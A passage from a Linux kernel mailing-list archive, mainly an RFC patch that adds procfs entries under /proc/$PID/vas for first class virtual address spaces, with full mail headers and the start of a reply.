+		pr_vas_debug("Failed to copy page tables for VMA %p from %p\n",
+			     vma, ref_vma);
+		return 1;
+	}
+
+	vma->vas_last_update = ref_vma->vas_last_update;
+	vma->vas_attached = true;
+
+	return 0;
+}
+
+#endif /* CONFIG_VAS_LAZY_ATTACH */
+
+
 /***
  * System Calls
  ***/
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 13/13] fs/proc: Add procfs support for first class virtual address spaces
Date: Mon, 13 Mar 2017 15:14:15 -0700
Lines: 630
Approved: news@gmane.org
Message-ID: <20170313221415.9375-14-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443355 14730 195.159.176.226 (13 Mar 2017 22:15:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:15:55 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-mm@kvack.org Mon Mar 13 23:15:46 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cnYFX-0001zf-5u
	for glkm-linux-mm-2@m.gmane.org; Mon, 13 Mar 2017 23:15:31 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 7E56E6B03AF; Mon, 13 Mar 2017 18:15:16 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 7689C6B03AE; Mon, 13 Mar 2017 18:15:16 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 5BE626B03AE; Mon, 13 Mar 2017 18:15:16 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f69.google.com (mail-wm0-f69.google.com [74.125.82.69])
	by kanga.kvack.org (Postfix) with ESMTP id E4E306B03AF
	for <linux-mm@kvack.org>; Mon, 13 Mar 2017 18:15:15 -0400 (EDT)
Original-Received: by mail-wm0-f69.google.com with SMTP id n11so15929731wma.5
        for <linux-mm@kvack.org>; Mon, 13 Mar 2017 15:15:15 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=LiBQtpGvneDrgLGKNC/y4OTESvKpqiptzOcX/SM/8XY=;
        b=nHaQtMNKN3JhBXvXo6S8lSCpZ85q5sn8X0YFvpHTtzgBQFC0QF6HT8aEvircZBH6x5
         oEy7CEZafX7m9aJyQUsTsw3Wnd3JJd36KoI+aiUX9euCLLCYQMd0r9zhOgXmtQFcJ5En
         DP4WW0VT5/Mxpb9fQMUwx9wZQBliu+OtEEkC9/Q7bjH+ED6iU8DK/afqOGHMA0Y+WOYS
         GIUJXpv8mpUBNlJpE+xzCQ418sqlZGjHEo0nAFgXS4zzEnwW7JxPVqoifMgehRmU5TIc
         davto9fRZht6I7fPVgJfu7I+RR+9CccHzg6OsX07ErKLMURRuBYGdP6tu7D+GL1/BGcu
         WoNw==
X-Gm-Message-State: AMke39muQu1QGgaujK5y6UII8/Tsdp8r0xEu9dm2Il4RsNS8NKiyDXHJWzzt2hqhdsAz1WD8dQv7LP4KCes06POMx7cEkfdvQDkyKw+yFDs2Q1v6/G31lV+GSQ04/lGUhGUUsYQPLycgwUY8TNGHVy+VwqTvlpBaalWBkCKy/8vADqmAWfbVXztX/xCQUblb6hMvFsHVa6TV/ZJ/UbQKW89zEPD5sDJKdXN+UjCw06DHf3RkTikfjeTEBJxB6i8ax6lLSafg4a2Qc7KKmwmPihY/VbVGCwqDb6hHnGxsygNJU4UIHA==
X-Received: by 10.223.136.66 with SMTP id e2mr30457478wre.14.1489443315483;
        Mon, 13 Mar 2017 15:15:15 -0700 (PDT)
X-Received: by 10.223.136.66 with SMTP id e2mr30457424wre.14.1489443314380;
        Mon, 13 Mar 2017 15:15:14 -0700 (PDT)
Original-Received: from mail-wr0-x242.google.com (mail-wr0-x242.google.com. [2a00:1450:400c:c0c::242])
        by mx.google.com with ESMTPS id w4si12533011wme.115.2017.03.13.15.15.14
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:15:14 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::242 as permitted sender) client-ip=2a00:1450:400c:c0c::242;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::242 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x242.google.com with SMTP id l37so21727223wrc.3;
        Mon, 13 Mar 2017 15:15:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=LiBQtpGvneDrgLGKNC/y4OTESvKpqiptzOcX/SM/8XY=;
        b=kdH3j+VH2IwFO1MobjV5+gKn7T26viW1BABPt4m0F6vRdrFk4q/6hRNGSkXYB+d1hh
         3FYw6uB7mkZNth/FcRTkjsYk7zQBdoStzVO/u118YYXfFBZk7KfJS5JVZS0FgFtDvYR7
         IN+SQrm6wFO+H9L1o91TPo1ICsbumTx5rZfPtC4VWeex1Zf/FtyA94l5l5r0Xy4ZULkG
         jaqfdk9TD/4UhTrfPgMktv8M7n9HfNFcokBQotUqM9U+gAPOgJEc2KQBhvllrO71qDg3
         WoDeJh9C4/UsJtDtlmLhHrtafrEarzk2VoVffWWRCLY4Nlcoa7wfUWxkGwnLxLJ4OsHx
         0AEw==
X-Received: by 10.223.169.171 with SMTP id b40mr31818476wrd.132.1489443313642;
        Mon, 13 Mar 2017 15:15:13 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id r2sm12893700wmb.26.2017.03.13.15.15.12
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:15:12 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168271 gmane.linux.kernel:2431244 gmane.linux.ports.alpha:4134 gmane.linux.kernel.arc:2223 gmane.linux.ports.arm.kernel:564758 gmane.linux.ports.hexagon:1159 gmane.linux.ports.ia64:27698 gmane.linux.kernel.metag:1268 gmane.linux.ports.mips.general:58344 gmane.linux.ports.parisc:27326 gmane.linux.ports.ppc64.devel:139537 gmane.linux.ports.sh.devel:55132 gmane.linux.ports.sparc:24729 gmane.linux.drivers.video-input-infrastructure:114752 gmane.linux.drivers.mtd:72543 gmane.linux.usb.general:156119 gmane.linux.file-systems:119089 gmane.linux.kernel.aio.general:4948 gmane.linux.kernel.api:22530 gmane.linux.kernel.cross-arch:35538 gmane.linux.alsa.devel:165316
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168271>

Add new files and directories to the procfs file system that contain
various information about the first class virtual address spaces attach to
the processes in the system.

To the procfs directories of each process in the system (/proc/$PID) an
additional directory with the name 'vas' is added that contains information
about all the VAS that are attached to this process. In this directory one
can find for each attached VAS a special folder with a file with some
status information about the attached VAS, a file with the current memory
map of the attached VAS and a link to the sysfs folder of the underlying
VAS.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 fs/proc/base.c     | 528 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 fs/proc/inode.c    |   1 +
 fs/proc/internal.h |   1 +
 mm/Kconfig         |   9 +
 4 files changed, 539 insertions(+)

diff --git a/fs/proc/base.c b/fs/proc/base.c
index 87c9a9aacda3..e60c13dd087c 100644
--- a/fs/proc/base.c
+++ b/fs/proc/base.c
@@ -45,6 +45,9 @@
  *
  *  Paul Mundt <paul.mundt@nokia.com>:
  *  Overall revision about smaps.
+ *
+ *  Till Smejkal <till.smejkal@gmail.com>:
+ *  Add entries for first class virtual address spaces.
  */
 
 #include <linux/uaccess.h>
@@ -87,6 +90,7 @@
 #include <linux/slab.h>
 #include <linux/flex_array.h>
 #include <linux/posix-timers.h>
+#include <linux/vas.h>
 #ifdef CONFIG_HARDWALL
 #include <asm/hardwall.h>
 #endif
@@ -2841,6 +2845,527 @@ static int proc_pid_personality(struct seq_file *m, struct pid_namespace *ns,
 	return err;
 }
 
+#ifdef CONFIG_VAS_PROCFS
+
+/**
+ * Get a string representation of the access type to a VAS.
+ **/
+#define vas_access_type_str(type) ((type) & MAY_WRITE ?			\
+				   ((type) & MAY_READ ? "rw" : "wo") : "ro")
+
+static int att_vas_show_status(struct seq_file *sf, void *unused)
+{
+	struct inode *inode = sf->private;
+	struct proc_inode *pi = PROC_I(inode);
+	struct task_struct *tsk;
+	struct vas_context *vas_ctx;
+	struct att_vas *avas;
+	int vid = pi->vas_id;
+
+	tsk = get_proc_task(inode);
+	if (!tsk)
+		return -ENOENT;
+
+	vas_ctx = tsk->vas_ctx;
+
+	vas_context_lock(vas_ctx);
+
+	list_for_each_entry(avas, &vas_ctx->vases, tsk_link) {
+		if (vid == avas->vas->id)
+			goto good_att_vas;
+	}
+
+	vas_context_unlock(vas_ctx);
+	put_task_struct(tsk);
+
+	return -ENOENT;
+
+good_att_vas:
+	seq_printf(sf,
+		   "pid:  %d\n"
+		   "vid:  %d\n"
+		   "type: %s\n",
+		   avas->tsk->pid, avas->vas->id,
+		   vas_access_type_str(avas->type));
+
+	vas_context_unlock(vas_ctx);
+	put_task_struct(tsk);
+
+	return 0;
+}
+
+static int att_vas_show_status_open(struct inode *inode, struct file *file)
+{
+	return single_open(file, att_vas_show_status, inode);
+}
+
+static const struct file_operations att_vas_show_status_fops = {
+	.open		= att_vas_show_status_open,
+	.read		= seq_read,
+	.llseek		= seq_lseek,
+	.release	= single_release,
+};
+
+static int att_vas_show_mappings(struct seq_file *sf, void *unused)
+{
+	struct inode *inode = sf->private;
+	struct proc_inode *pi = PROC_I(inode);
+	struct task_struct *tsk;
+	struct vas_context *vas_ctx;
+	struct att_vas *avas;
+	struct mm_struct *mm;
+	struct vm_area_struct *vma;
+	int vid = pi->vas_id;
+
+	tsk = get_proc_task(inode);
+	if (!tsk)
+		return -ENOENT;
+
+	vas_ctx = tsk->vas_ctx;
+
+	vas_context_lock(vas_ctx);
+
+	list_for_each_entry(avas, &vas_ctx->vases, tsk_link) {
+		if (avas->vas->id == vid)
+			goto good_att_vas;
+	}
+
+	vas_context_unlock(vas_ctx);
+	put_task_struct(tsk);
+
+	return -ENOENT;
+
+good_att_vas:
+	mm = avas->mm;
+
+	down_read(&mm->mmap_sem);
+
+	if (!mm->mmap) {
+		seq_puts(sf, "EMPTY\n");
+		goto out_unlock;
+	}
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next) {
+		vm_flags_t flags = vma->vm_flags;
+		struct file *file = vma->vm_file;
+		unsigned long long pgoff = 0;
+
+		if (file)
+			pgoff = ((loff_t)vma->vm_pgoff) << PAGE_SHIFT;
+
+		seq_printf(sf, "%08lx-%08lx %c%c%c%c [%c:%c] %08llx",
+			   vma->vm_start, vma->vm_end,
+			   flags & VM_READ ? 'r' : '-',
+			   flags & VM_WRITE ? 'w' : '-',
+			   flags & VM_EXEC ? 'x' : '-',
+			   flags & VM_MAYSHARE ? 's' : 'p',
+			   vma->vas_reference ? 'v' : '-',
+			   vma->vas_attached ? 'a' : '-',
+			   pgoff);
+
+		seq_putc(sf, ' ');
+
+		if (file) {
+			seq_file_path(sf, file, "\n");
+		} else if (vma->vm_ops && vma->vm_ops->name) {
+			seq_puts(sf, vma->vm_ops->name(vma));
+		} else {
+			if (!vma->vm_mm)
+				seq_puts(sf, "[vdso]");
+			else if (vma->vm_start <= mm->brk &&
+				 vma->vm_end >= mm->start_brk)
+				seq_puts(sf, "[heap]");
+			else if (vma->vm_start <= mm->start_stack &&
+				 vma->vm_end >= mm->start_stack)
+				seq_puts(sf, "[stack]");
+		}
+
+		seq_putc(sf, '\n');
+	}
+
+out_unlock:
+	up_read(&mm->mmap_sem);
+
+	vas_context_unlock(vas_ctx);
+	put_task_struct(tsk);
+
+	return 0;
+}
+
+static int att_vas_show_mappings_open(struct inode *inode, struct file *file)
+{
+	return single_open(file, att_vas_show_mappings, inode);
+}
+
+static const struct file_operations att_vas_show_mappings_fops = {
+	.open		= att_vas_show_mappings_open,
+	.read		= seq_read,
+	.llseek		= seq_lseek,
+	.release	= single_release,
+};
+
+static int att_vas_vas_link(char *name, int *buflen, int vid)
+{
+	int len;
+
+	len = scnprintf(name, *buflen, "/sys/kernel/vas/%d", vid);
+	if (len >= *buflen)
+		return -E2BIG;
+
+	*buflen = len;
+	return 0;
+}
+
+static int att_vas_vas_link_readlink(struct dentry *dentry, char __user *buffer,
+				     int buflen)
+{
+	char *name;
+	int len, ret;
+	int vid;
+
+	len = PATH_MAX;
+	name = kmalloc(len, GFP_TEMPORARY);
+	if (!name)
+		return -ENOMEM;
+
+	vid = PROC_I(d_inode(dentry))->vas_id;
+
+	ret = att_vas_vas_link(name, &len, vid);
+	if (ret != 0)
+		goto out_free;
+
+	if (len > buflen)
+		len = buflen;
+	if (copy_to_user(buffer, name, len) != 0) {
+		ret = -EFAULT;
+		goto out_free;
+	}
+
+	ret = len;
+
+out_free:
+	kfree(name);
+
+	return ret;
+}
+
+static const char *att_vas_vas_link_get_link(struct dentry *dentry,
+					     struct inode *inode,
+					     struct delayed_call *done)
+{
+	char *name;
+	int len, ret;
+	int vid;
+
+	if (!dentry)
+		return ERR_PTR(-ECHILD);
+
+	len = PATH_MAX;
+	name = kmalloc(len, GFP_TEMPORARY);
+	if (!name)
+		return NULL;
+
+	vid = PROC_I(inode)->vas_id;
+
+	ret = att_vas_vas_link(name, &len, vid);
+	if (ret != 0) {
+		kfree(name);
+		return ERR_PTR(ret);
+	}
+
+	set_delayed_call(done, kfree_link, name);
+	return name;
+}
+
+static const struct inode_operations att_vas_vas_link_iops = {
+	.readlink	= att_vas_vas_link_readlink,
+	.get_link	= att_vas_vas_link_get_link,
+	.setattr	= proc_setattr
+};
+
+static const struct pid_entry att_vas_stuff[] = {
+	REG("status", 0444, att_vas_show_status_fops),
+	REG("maps", 0440, att_vas_show_mappings_fops),
+	NOD("vas", (S_IFLNK | 0777), &att_vas_vas_link_iops, NULL, {}),
+};
+
+static int att_vas_revalidate(struct dentry *dentry, unsigned int flags)
+{
+	struct inode *inode;
+	struct task_struct *tsk;
+	struct vas_context *vas_ctx;
+	struct att_vas *avas;
+	int vid;
+	int ret;
+
+	if (flags & LOOKUP_RCU)
+		return -ECHILD;
+
+	inode = d_inode(dentry);
+	tsk = get_proc_task(inode);
+	if (!tsk)
+		return 0;
+
+	vid = PROC_I(inode)->vas_id;
+	vas_ctx = tsk->vas_ctx;
+
+	vas_context_lock(vas_ctx);
+
+	ret = 0;
+	list_for_each_entry(avas, &vas_ctx->vases, tsk_link) {
+		if (avas->vas->id == vid) {
+			ret = 1;
+			break;
+		}
+	}
+
+	vas_context_unlock(vas_ctx);
+	put_task_struct(tsk);
+
+	return ret;
+}
+
+static const struct dentry_operations att_vas_dops = {
+	.d_revalidate	= att_vas_revalidate,
+};
+
+static int att_vas_pident_instantiate(struct inode *dir,
+				      struct dentry *dentry,
+				      struct task_struct *task,
+				      const void *ptr)
+{
+	const struct pid_entry *p = ptr;
+	struct inode *inode;
+	struct proc_inode *ei;
+
+	inode = proc_pid_make_inode(dir->i_sb, task, p->mode);
+	if (!inode)
+		goto out;
+
+	ei = PROC_I(inode);
+	if (S_ISDIR(inode->i_mode))
+		set_nlink(inode, 2);
+	if (p->iop)
+		inode->i_op = p->iop;
+	if (p->fop)
+		inode->i_fop = p->fop;
+	ei->op = p->op;
+
+	/* Copy the VAS ID from the parent inode */
+	ei->vas_id = PROC_I(dir)->vas_id;
+
+	d_set_d_op(dentry, &att_vas_dops);
+	d_add(dentry, inode);
+
+	if (att_vas_revalidate(dentry, 0))
+		return 0;
+out:
+	return -ENOENT;
+}
+
+static struct dentry *att_vas_pident_lookup(struct inode *dir,
+					    struct dentry *dentry,
+					    unsigned int flags)
+{
+	int error;
+	struct task_struct *task = get_proc_task(dir);
+	const struct pid_entry *p, *last;
+	const struct pid_entry *entries = att_vas_stuff;
+	int nents = ARRAY_SIZE(att_vas_stuff);
+
+	error = -ENOENT;
+
+	if (!task)
+		goto out_no_task;
+
+	last = &entries[nents];
+	for (p = entries; p < last; p++) {
+		if (p->len != dentry->d_name.len)
+			continue;
+		if (!memcmp(dentry->d_name.name, p->name, p->len))
+			break;
+	}
+	if (p >= last)
+		goto out;
+
+	error = att_vas_pident_instantiate(dir, dentry, task, p);
+out:
+	put_task_struct(task);
+out_no_task:
+	return ERR_PTR(error);
+}
+
+static int att_vas_pident_readdir(struct file *file, struct dir_context *ctx)
+{
+	struct task_struct *task = get_proc_task(file_inode(file));
+	const struct pid_entry *p, *last;
+	const struct pid_entry *entries = att_vas_stuff;
+	int nents = ARRAY_SIZE(att_vas_stuff);
+
+	if (!task)
+		return -ENOENT;
+
+	if (!dir_emit_dots(file, ctx))
+		goto out;
+
+	if (ctx->pos >= nents + 2)
+		goto out;
+
+	last = &entries[nents];
+	for (p = entries + (ctx->pos - 2); p < last; p++) {
+		if (!proc_fill_cache(file, ctx, p->name, p->len,
+				     att_vas_pident_instantiate, task, p))
+			break;
+		ctx->pos++;
+	}
+out:
+	put_task_struct(task);
+	return 0;
+}
+
+static const struct inode_operations proc_att_vas_iops = {
+	.lookup		= att_vas_pident_lookup,
+	.setattr	= proc_setattr,
+	.permission	= generic_permission,
+};
+
+static const struct file_operations proc_att_vas_fops = {
+	.read		= generic_read_dir,
+	.llseek		= generic_file_llseek,
+	.iterate_shared	= att_vas_pident_readdir,
+};
+
+static int proc_att_vas_dir_instantiate(struct inode *dir,
+					struct dentry *dentry,
+					struct task_struct *tsk,
+					const void *data)
+{
+	struct inode *inode;
+	struct proc_inode *pi;
+	const struct att_vas *avas = data;
+
+	inode = proc_pid_make_inode(dir->i_sb, tsk, S_IFDIR | 0555);
+
+	if (!inode)
+		return -ENOENT;
+
+	pi = PROC_I(inode);
+	pi->vas_id = avas->vas->id;
+
+	set_nlink(inode, 2);
+	inode->i_op = &proc_att_vas_iops;
+	inode->i_fop = &proc_att_vas_fops;
+
+	d_add(dentry, inode);
+	d_set_d_op(dentry, &att_vas_dops);
+
+	/*
+	 * No need to revalidate the dentry at this point, because we are still
+	 * holding the lock for the VAS context. Hence this VAS cannot be
+	 * detached from the task and hence the dentry is still valid.
+	 */
+	return 0;
+}
+
+static struct dentry *proc_att_vas_dir_lookup(struct inode *dir,
+					      struct dentry *dentry,
+					      unsigned int flags)
+{
+	struct task_struct *tsk;
+	struct vas_context *vas_ctx;
+	struct att_vas *avas;
+	int vid;
+	int ret;
+
+	tsk = get_proc_task(dir);
+	if (!tsk)
+		return ERR_PTR(-ENOENT);
+
+	if (kstrtoint(dentry->d_name.name, 10, &vid)) {
+		ret = -EINVAL;
+		goto out_put;
+	}
+
+	vas_ctx = tsk->vas_ctx;
+
+	vas_context_lock(vas_ctx);
+
+	ret = -ENOENT;
+	list_for_each_entry(avas, &vas_ctx->vases, tsk_link) {
+		if (vid == avas->vas->id) {
+			ret = proc_att_vas_dir_instantiate(dir, dentry,
+							   tsk, avas);
+			break;
+		}
+	}
+
+	vas_context_unlock(vas_ctx);
+
+out_put:
+	put_task_struct(tsk);
+
+	return ERR_PTR(ret);
+}
+
+static int proc_att_vas_dir_readdir(struct file *file, struct dir_context *ctx)
+{
+	struct inode *inode = file_inode(file);
+	struct task_struct *tsk;
+	struct vas_context *vas_ctx;
+	struct att_vas *avas;
+	int pos = 2;
+
+	tsk = get_proc_task(inode);
+	if (!tsk)
+		return -ENOENT;
+
+	if (!dir_emit_dots(file, ctx))
+		goto out_put;
+
+	vas_ctx = tsk->vas_ctx;
+
+	vas_context_lock(vas_ctx);
+
+	list_for_each_entry(avas, &vas_ctx->vases, tsk_link) {
+		char name[PROC_NUMBUF];
+		int len;
+
+		if (++pos <= ctx->pos)
+			continue;
+
+		snprintf(name, sizeof(name), "%d", avas->vas->id);
+		len = strnlen(name, PROC_NUMBUF);
+
+		if (!proc_fill_cache(file, ctx, name, len,
+				     proc_att_vas_dir_instantiate,
+				     tsk, avas))
+			break;
+
+		ctx->pos++;
+	}
+
+	vas_context_unlock(vas_ctx);
+
+out_put:
+	put_task_struct(tsk);
+
+	return 0;
+}
+
+const struct inode_operations proc_att_vas_dir_iops = {
+	.lookup		= proc_att_vas_dir_lookup,
+	.setattr	= proc_setattr,
+	.permission	= generic_permission,
+};
+
+const struct file_operations proc_att_vas_dir_fops = {
+	.read		= generic_read_dir,
+	.llseek		= generic_file_llseek,
+	.iterate_shared	= proc_att_vas_dir_readdir,
+};
+
+#endif
+
 /*
  * Thread groups
  */
@@ -2856,6 +3381,9 @@ static const struct pid_entry tgid_base_stuff[] = {
 #ifdef CONFIG_NET
 	DIR("net",        S_IRUGO|S_IXUGO, proc_net_inode_operations, proc_net_operations),
 #endif
+#ifdef CONFIG_VAS_PROCFS
+	DIR("vas",        S_IRUGO|S_IXUGO, proc_att_vas_dir_iops, proc_att_vas_dir_fops),
+#endif
 	REG("environ",    S_IRUSR, proc_environ_operations),
 	REG("auxv",       S_IRUSR, proc_auxv_operations),
 	ONE("status",     S_IRUGO, proc_pid_status),
diff --git a/fs/proc/inode.c b/fs/proc/inode.c
index cb2d5702bdce..cc8937d348df 100644
--- a/fs/proc/inode.c
+++ b/fs/proc/inode.c
@@ -63,6 +63,7 @@ static struct inode *proc_alloc_inode(struct super_block *sb)
 	ei->pid = NULL;
 	ei->fd = 0;
 	ei->op.proc_get_link = NULL;
+	ei->vas_id = 0;
 	ei->pde = NULL;
 	ei->sysctl = NULL;
 	ei->sysctl_entry = NULL;
diff --git a/fs/proc/internal.h b/fs/proc/internal.h
index 2de5194ba378..0cb6bb39d61d 100644
--- a/fs/proc/internal.h
+++ b/fs/proc/internal.h
@@ -61,6 +61,7 @@ union proc_op {
 struct proc_inode {
 	struct pid *pid;
 	unsigned int fd;
+	int vas_id;
 	union proc_op op;
 	struct proc_dir_entry *pde;
 	struct ctl_table_header *sysctl;
diff --git a/mm/Kconfig b/mm/Kconfig
index 934c56bcdbf4..9ef3efc16bed 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -745,3 +745,12 @@ config VAS_DEBUG
 	help
 	  Enable extensive debugging output for the First Class Virtual Address
 	  Spaces feature.
+
+config VAS_PROCFS
+	bool "procfs entries for First Class Virtual Address Spaces"
+	depends on VAS && PROC_FS
+	default y
+	help
+	  Provide information in /proc/$PID about all First Class 
+	  Virtual Address Spaces that are currently attached to the
+	  corresponding process.
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matthew Wilcox <willy@infradead.org>
Newsgroups: gmane.linux.drivers.mtd,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.alsa.devel,gmane.linux.usb.general,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.kernel.aio.general,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.file-systems,gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.api
Subject: Re: [RFC PATCH 11/13] mm/vas: Introduce VAS segments - shareable
 address space regions
Date: Mon, 13 Mar 2017 15:27:58 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20170313222758.GB4033@bombadil.infradead.org>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
 <20170313221415.9375-12-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1489444152 24869 195.159.176.226 (13 Mar 2017 22:29:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:29:12 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
Cc: linux-mips@linux-mips.org, linux-s390@vger.kernel.org,
 Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, Peter Zijlstra <peterz@infradead.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>, alsa-devel@alsa-project.org,
 linux-usb@vger.kernel.org, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "J. Bruce Fields" <bfields@fieldses.org>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>,
 Laurent Pinchart <laurent.pinchart@ideasonboard.com>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 linux-hexagon@vger.kernel.org, Cyrille Pitchen <cyrille.pitchen@atmel.com>,
 Andy Lutomirski <luto@amacapital.net>, Jeff Layton <jlayton@poochiereds.net>,
 linux-kernel@vger.kernel.org, Marek Szyprowski <m.szyprowski@samsung.com>,
 linux-arch@vger.kernel.org,
 Boris Brezillon <bo
To: Till Smejkal <till.smejkal@googlemail.com>
Original-X-From: linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org Mon Mar 13 23:28:50 2017
